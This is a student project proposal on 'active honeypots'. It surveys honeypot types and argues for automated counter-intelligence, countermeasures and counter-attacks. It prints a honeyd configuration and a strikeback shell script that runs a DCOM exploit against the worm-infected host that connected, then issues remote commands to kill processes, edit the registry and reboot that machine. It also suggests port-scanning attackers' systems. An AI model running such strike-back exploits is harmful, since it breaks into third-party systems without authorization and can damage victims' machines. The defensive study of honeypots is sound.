Project Proposal Active Honeypot Systems By William Kilgore University of Advancing Technology Project Proposal 1
Project Proposal 2 Abstract Honeypot systems are readily used by organizations large and small as a means of defense against attackers on their networks. They serve a dual purpose function, the primary being that of a decoy in order to distract attackers from the real network. They also serve as a point of data gathering by allowing attackers to breach the system, a honeypot is able to monitor and collect data on the attacker s techniques and tools used in the attack. While these systems have their uses they do little to remedy an attack other then simply observe, then wait for an administrator to view the system log by which time the attacker has come and gone. As such it would be interesting to see how the use of a more active system operated against an attack.
Project Proposal 3
Project Proposal 4 Honeypots "A honeypot is a security resource whose value lies in being probed, attacked or compromised." - Lance Spitzner A honeypot has no productive value, there is no reason anyone should interact with one and therefore any interaction with a honeypot is likely an attack, probe or scan. At the same time should a honeypot initiate any outside communication then the system has most likely been compromised. It is designed to deceive an attacker into initiating communications with it in order to distract or draw attention away from the real system. It does not matter what resource the honeypot uses to achieve this so long as the resource is seen as valuable enough to be scanned and attacked. This is both its greatest strength and weakness, while it can be invaluable to use one as an early warning or defense system if the honeypot is not attacked it is worthless. There are a number of different types of honeypots developed by individuals and companies alike, a honeypot is measured by the amount of interactivity it participates in with the attack. In this sense we can divide these honeypots into three categories, low, medium and high interactivity. Low-interaction honeypots provides limited interaction between the attacker and the honeypot. The simple design makes it simple to install, configure, deploy and
Project Proposal 5 maintain. A low-interaction honeypot is no real operating system. It is merely a program that emulates services and logs any connections to them. A low-interaction honeypot has a very low risk level, because low-interaction also means there is low-risk. In return there is the disadvantage that the information gathered by the honeypot is limited. Most systems are not able to log more than: Time and date of the attack Source IP address and source port of the connection Destination IP address and destination port of the connection As the IP protocol allows manipulation of the packet header, the only reliable information about the attacker is time and date of his connection attempt. The purpose of low interaction honeypots is to detect unauthorized connection attempts. Low-interaction honeypots are useful for organizations that have no operational experience with honeypots at all. They allow them to get to know the technology, so that they are able to upgrade to high-interaction honeypots and improve attack detection later. Medium-interaction honeypots offer more ways to interact with attackers than low-interaction honeypots do. A connection to an emulated service on a low-interaction honeypot will be closed by the system after presenting some banner. An emulated service on a medium-interaction honeypot may respond to commands from the attacker with bogus information. To limit the risk for low-interaction honeypots, the attacker can only use emulated services. Medium-interaction honeypots do the same, but they allow the use of jail or chroot, which allow the administrator to create a virtual operating system inside a real one. The attacker then connects to an environment that behaves like a
Project Proposal 6 real operating system, but is controlled and monitored from the underlying operating system. Running a medium-interaction honeypot is both time and resource consuming. High-interaction honeypots can do anything, that medium-interaction honeypots can do and more. They are real systems that capture network traffic. Attackers who break into a high-level honeypot operate on a real system. Because of this there is much more information gained from the attacker, and more information about the attacker means better analysis of the attack. The main purpose of high-interaction honeypots is to learn from the attacker and to do actual research. It is common practice of attackers to misuse captured systems as file or Internet relay chat (IRC) servers. When this happens the administrator is then able to listen to the IRC sessions and learn from the conversations the intruder conducts. With the information gathered production systems can be hardened. There is however one big disadvantage with high-interaction honeypots. Because the attacker acts on a real system, he has the ability to misuse that system for further attacks on production systems. A firewall that blocks all traffic from the honeypot might solve that problem, but some risk remains. Each of these models relies on the ability to attract an attacker and then keep their attention, once that is lost the honeypot becomes worthless. Because of this there exists the need for a more proactive honeypot, one that is more effective at attracting and keeping the attention of an attacker and one that takes a more proactive approach to an attack. A honeypot is already designed to gather and study information about an attacker,
Project Proposal 7 with this information it would be possible to tailor the honeypot to draw the attention of different attackers. There is no single class of attacker, if this was the case it would be much easier to defend against them, because of this it is important to create an adaptive system that will conform to suit the interests of multiple individuals. The next problem stems from the passive nature of a honeypot, while it relies on the ability to attract and keep the attention of an attacker it does little to stem the immediate threat which in turn is left up to an administrator who may or may not be available at the time of the attack. Security professionals and system administrators spend a lot of their time responding to security incidents. They reinstall compromised systems or track down attackers and many of these activities are time consuming and tedious. To improve the benefits and decrease the costs of honeypots, an active honeypot system could help automate the attack response by using: Counter Intelligence Countermeasures Counter Offense Attacks leave a lot of information on the system they attack however this information can not be used to generate a target because it has to be built before the attacker has broken into the system. Because of this it is necessary to get more information about him, while he probes the target system. There are tools that not only passively gather data of the attacker s activity on the honeypot, but also actively gain information on any system that connects to it. Much of the information can only be
Project Proposal 8 obtained while the attack is in progress, therefore the honeypot can initiate port scanning on the attacker, and attempt to grab a telnet banner or finger the attackers system. Some tools include: Finger Tracer Portscan. Whois DNS Telnet/FTP/SMTP Banner HTTP Server Header HTTP Document Traceroute The information that can be gained by using these tools improves the attacker identification and therefore the target generation process as well. The use of countermeasures generally involves the system administrators isolating the infected systems to stop the attack. Active honeypots are able to stop attacks on their own to protect the production network. A list of possible countermeasures may include: Cutting off network segments to protect sensitive network parts from the attacker. Isolating the captured hosts by closing ports on switches. Banning chosen network flows by inserting filtering rules on remote devices like routers or firewalls. Feeding a kind of active real-time black hole list (RBL) dedicated to worms which allows blocking IP addresses of malicious hosts.
Project Proposal 9 While these countermeasures allow the protection of sensitive network segments, they are not able to stop a worm that has already infected a system. Active honeypots can eliminate the worm that has infected a system. Example provided by L. Oudot, Fighting internet worms with honeypots. A worm has infected host A and is trying to propagate itself to host B, which is the active honeypot. It can be assumed that host A is infected with that worm, due to the technical vulnerability in that host. If the vulnerability was not removed by the worm's payload and host A is still accessible, the honeypot (host B) can launch a counter attack to host A. By abusing the same vulnerability on host A, which was used by the worm, host B takes control of host A. If the honeypot succeeds in capturing host A, it can kill the running worm process, clean host A and harden its security. To highlight the applicability of that theory, there is a honeyd configuration that stems from the MS-Blaster worm. The honeyd configuration file looks like this: create default set default personality "Windows XP Pro" add default tcp port 135 open add default tcp port 4444 "/bin/sh scripts/strikeback.sh $ipsrc" set default tcp action block set default udp action block The TCP port 135 of the honeypot remains open and accepts remote RPC requests. MS-Blaster connects to this port to abuse the DCOM vulnerability. A script
Project Proposal 10 attached to the TCP port 4444 launches the counterstrike. The strikeback.sh script looks like this:!#/bin/sh # Launches a DCOM exploit toward the infected attacking host # and then run cleaning commands in the remote DOS shell obtained./dcom_exploit -d $1 << EOF REM Executes the following orders on the host : REM 1) Kill the running process MSBlast.exe taskkill /f /im msblast.exe /t REM 2) Eliminate the binary of the worm del /f %SystemRoot%\system32\msblast.exe REM 3) Clean the registry echo Regedit4 > c: \cleanermsb.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >> c:\cleanermsb.reg echo "auto windows update" = "REM msblast.exe" >> c: \cleanermsb.reg regedit /s c: \cleanermsb.reg del /f c:\cleanermsb.reg REM N) Specific actions to update the Windows host could be added here REM N+1) Reboot the host shutdown -r -f -t 0 exit EOF This script kills the MS-Blaster process, removes the worm binary and cleans the registry. To improve this script, it should also contain some code to harden the system. While the idea of an active honeypot is quite appealing it should not be considered the end all solution for security problems. Automated systems are there to assist in the security of a network while the real work must be done by a live human
Project Proposal 11 being. Ultimately these systems are here to be used as a tool to better understand the problem and find a solution to them.
Project Proposal 12 References L. Oudot, Fighting internet worms with honeypots. Security Focus, Infocus 1740, October 2003. http://www.securityfocus.com/infocus/1740 No Author Listed. (2005). Honeypots and Honeynets. http://www.honeypots.net/ M. Noordin, (November 5, 2004). Honeypots Revealed. http://www.securitydocs.com/library/2692 R. E. Sutton, Jr (Date Unknown) How to build and use a Honeypot. http://www.infosecwriters.com/text_resources/pdf/build_and_use_honeypot.pdf